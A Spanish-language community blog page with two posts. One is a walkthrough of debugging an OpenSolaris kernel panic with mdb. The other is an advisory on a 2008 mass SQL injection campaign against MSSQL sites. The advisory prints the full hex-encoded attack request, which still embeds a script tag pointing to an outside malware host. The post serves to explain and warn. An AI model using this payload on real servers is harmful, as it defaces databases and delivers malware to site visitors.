La Comunidad DragonJAR » arpunk

Depurando modulos en OpenSolaris

arpunk — Sun, 13 Mar 2011 06:18:29 +0000

Hace ya algo de tiempo había venido experimentando algunos reboots injustificados en mi laptop al momento del inicio de sesión en SXCE b83. Cuando el escritorio empezaba a cargar, repentinamente se congelaba todo el laptop y se reiniciaba el sistema luego de unos segundos después de quedar sin vida. Al principio no le pare bolas, ya que no tenia tiempo para ver que es lo que estaba pasando, sin embargo, ahora que me volvió a pasar (de hecho, de manera más frecuente) y dada la oportunidad que no tengo nada que hacer esta tarde, me puse en la tarea de diagnosticar la razón de las fritadas.

En Solaris (por ende, OpenSolaris), los logs de los crashes son guardados en /var/crash/`hostname` y dependen de la configuración del dump facility, que se configura con dumpadm. En el momento en que el sistema va a colapsar, dependiendo de la configuración del volcado, el servicio SMF de dumpadm guarda una copia en el disco de la memoria física del equipo antes de que este se muriera, y luego de que el dump haya sido guardado, el servicio continua con el reboot del sistema.

# dumpadm Dump content: kernel pages Dump device: /dev/dsk/c1t0d0s1 (swap) Savecore directory: /var/crash/futurisk Savecore enabled: yes #

Pero, ¿que podemos diagnosticar de los volcados?. Utilizando nuestro buen amigo mdb y teniendo los dos archivos requeridos para diagnosticar el problema, podemos ver en que estado estuvo la maquina antes de que se reiniciara el equipo; los archivos son vmcore.X y unix.X, donde vmcore es el archivo que contiene todos los datos del volcado del crash y unix es el que tiene los datos de los módulos que estaban cargados en el kernel al momento de la pataleta.

# mdb unix.0 vmcore.0 Loading modules: [ unix genunix specfs dtrace cpu.generic uppc pcplusmp scsi_vhci ufs ip hook neti sctp arp usba uhci s1394 fctl nca lofs zfs random audiosup sppp ptm crypto ipc md cpc smbsrv fcip fcp logindmux nsctl sdbc sv ii rdc ] > ::status debugging crash dump vmcore.0 (64-bit) from futurisk operating system: 5.11 snv_83 (i86pc) panic message: BAD TRAP: type=e (#pf Page fault) rp=ffffff0005403600 addr=ffffff015134c6e2 dump content: kernel pages only >

Genial, ahora sabemos que es un page fault. Por lo general esto indica problemas de software, entonces puedo descartar la posibilidad de que mi laptop se este dañando. Sin embargo, ya entrando en gastos con mdb, veamos que otro tipo de información podemos obtener.

> ::panicinfo cpu 0 thread ffffff014b54e940 message BAD TRAP: type=e (#pf Page fault) rp=ffffff0005403600 addr=ffffff015134c6e2 rdi ffffff015134b000 rsi 0 rdx 40000 rcx 5dae00 [más y más registros...]

Y ahora con la dirección del thread que se estaba ejecutando en el momento del crash, podemos ver el contenido de lo ultimo que paso.

> ffffff014b54e940::findstack stack pointer for thread ffffff014b54e940: ffffff0005403190 ffffff00054031c0 apic_intr_exit+0x30() ffffff0005403220 hilevel_intr_epilog+0x11c() ffffff0005403270 do_interrupt+0xeb() ffffff0005403280 _sys_rtt_ints_disabled+8() ffffff0005403460 as_fault+0x6d8() ffffff00054034e0 die+0xea() ffffff00054035f0 trap+0x13b9() ffffff0005403600 0xfffffffffb8001d9() ffffff0005403720 oss_memset+0x37() ffffff0005403760 audio_reset_adev+0xfd() ffffff00054037f0 oss_audio_ioctl+0x1d2() ffffff0005403830 stop_engines+0x92() ffffff0005403890 vmix_close+0x124() ffffff00054038d0 oss_audio_release+0x10b() ffffff0005403920 oss_close+0x16a() ffffff0005403950 dev_close+0x40() ffffff00054039a0 device_close+0xd1() ffffff0005403a30 spec_close+0x168() ffffff0005403ab0 fop_close+0x6e() ffffff0005403b10 ldi_close+0xc2() ffffff0005403b50 sadasupport_close+0x14b() ffffff0005403bc0 qdetach+0xbf() ffffff0005403c60 strclose+0x357() ffffff0005403cb0 device_close+0xb8() ffffff0005403d40 spec_close+0x168() ffffff0005403dc0 fop_close+0x6e() ffffff0005403e00 closef+0x59() ffffff0005403ea0 closeandsetf+0x458() ffffff0005403ec0 close+0x14() ffffff0005403f10 _sys_sysenter_post_swapgs+0x14b()

Y ese es el ejercicio de hoy. Hasta el momento el problema parece ser de OSS, sin embargo, ¿algún tip de lo que podría estar matando al sistema?

También puede interesarte...

SeguriSemanal II

Nuevo ataque de Inyeccion de SQL esta comprometiendo maquinas

arpunk — Wed, 13 Aug 2008 12:35:21 +0000

Un nuevo ataque de inyección de SQL ha venido circulando la semana pasada, y parece que ha infectado algunos cientos de servidores web en la tarde del viernes pasado. Los ataques se ven similares al que se muestra a continuación, e intentan consultar por archivos aleatorios validos en el servidor web.

Las tablas de sysobjects y syscolumns son consultadas y esto nos da una muy buena pista: las maquinas que se están atacando corren MSSQL, y se esta guardando código HTML dentro de la base de datos. También es posible que los servidores web con Sybase database backends sean explotables, ya que Sybase utiliza de manera muy amplia la misma sintaxis y estructura de las tablas que MSSQL server.

La sentencia SQL escanea todas las tablas de la base de datos, insertando el código HTML del atacante en cada una de las paginas. Esto causa que el servidor web envié a los visitantes, dependiendo de su cliente web, a diferentes formas de malware que se aloja en paginas referenciadas
por el código HTML maligno. Similar al phishing, este ataque toma ventaja de que el visitante del sitio web confía en el sitio que están visitando. En vez de suplantar la identidad del sitio confiado, el sitio confiado es aquel que le envía el malware al cliente, quien tiene mayores probabilidades de aceptar.

Este tipo de ataque puede ser usado para lanzar ataques de phishing tradicionales en sitios que solicitan información financiera, o cualquier otro tipo de ataque en donde la confianza de los visitantes pueda ser explotada.

Los requests que saldrían en los logs del web server se asemejan al siguiente:

GET /?’;DECLARE%20@S%20CHAR(4000);SET%20@
S=CAST(0x4445434C41524520405420766172636
8617228323535292C40432076617263686172283
430303029204445434C415245205461626C655F4
37572736F7220435552534F5220464F522073656
C65637420612E6E616D652C622E6E616D6520667
26F6D207379736F626A6563747320612C7379736
36F6C756D6E73206220776865726520612E69643
D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F722
0622E78747970653D3335206F7220622E7874797
0653D323331206F7220622E78747970653D31363
729204F50454E205461626C655F437572736F722
04645544348204E4558542046524F4D202054616
26C655F437572736F7220494E544F2040542C404
3205748494C4528404046455443485F535441545
5533D302920424547494E2065786563282775706
4617465205B272B40542B275D20736574205B272
B40432B275D3D5B272B40432B275D2B2727223E3
C2F7469746C653E3C736372697074207372633D2
2687474703A2F2F73646F2E313030306D672E636
E2F63737273732F772E6A73223E3C2F736372697
0743E3C212D2D272720776865726520272B40432
B27206E6F74206C696B6520272725223E3C2F746
9746C653E3C736372697074207372633D2268747
4703A2F2F73646F2E313030306D672E636E2F637
37273732F772E6A73223E3C2F7363726970743E3
C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E5
44F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415
445205461626C655F437572736F72%20AS%20CHA
R(4000));EXEC(@S);HTTP/1.1

Esta salida decodificada nos muestra la siguiente sentencia SQL (URLs han sido removidas):

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””>

Este ataque todavía sigue en funcionamiento hasta el día de hoy. Se ha obtenido evidencia de explotación satisfactoria a través de cientos de paginas web. Estas paginas estaban asociadas con otras paginas al rededor del mundo suplantando contenido (incluyendo sitios de gobierno, sitios de venta por Internet, sitios de información financiera, entre otros).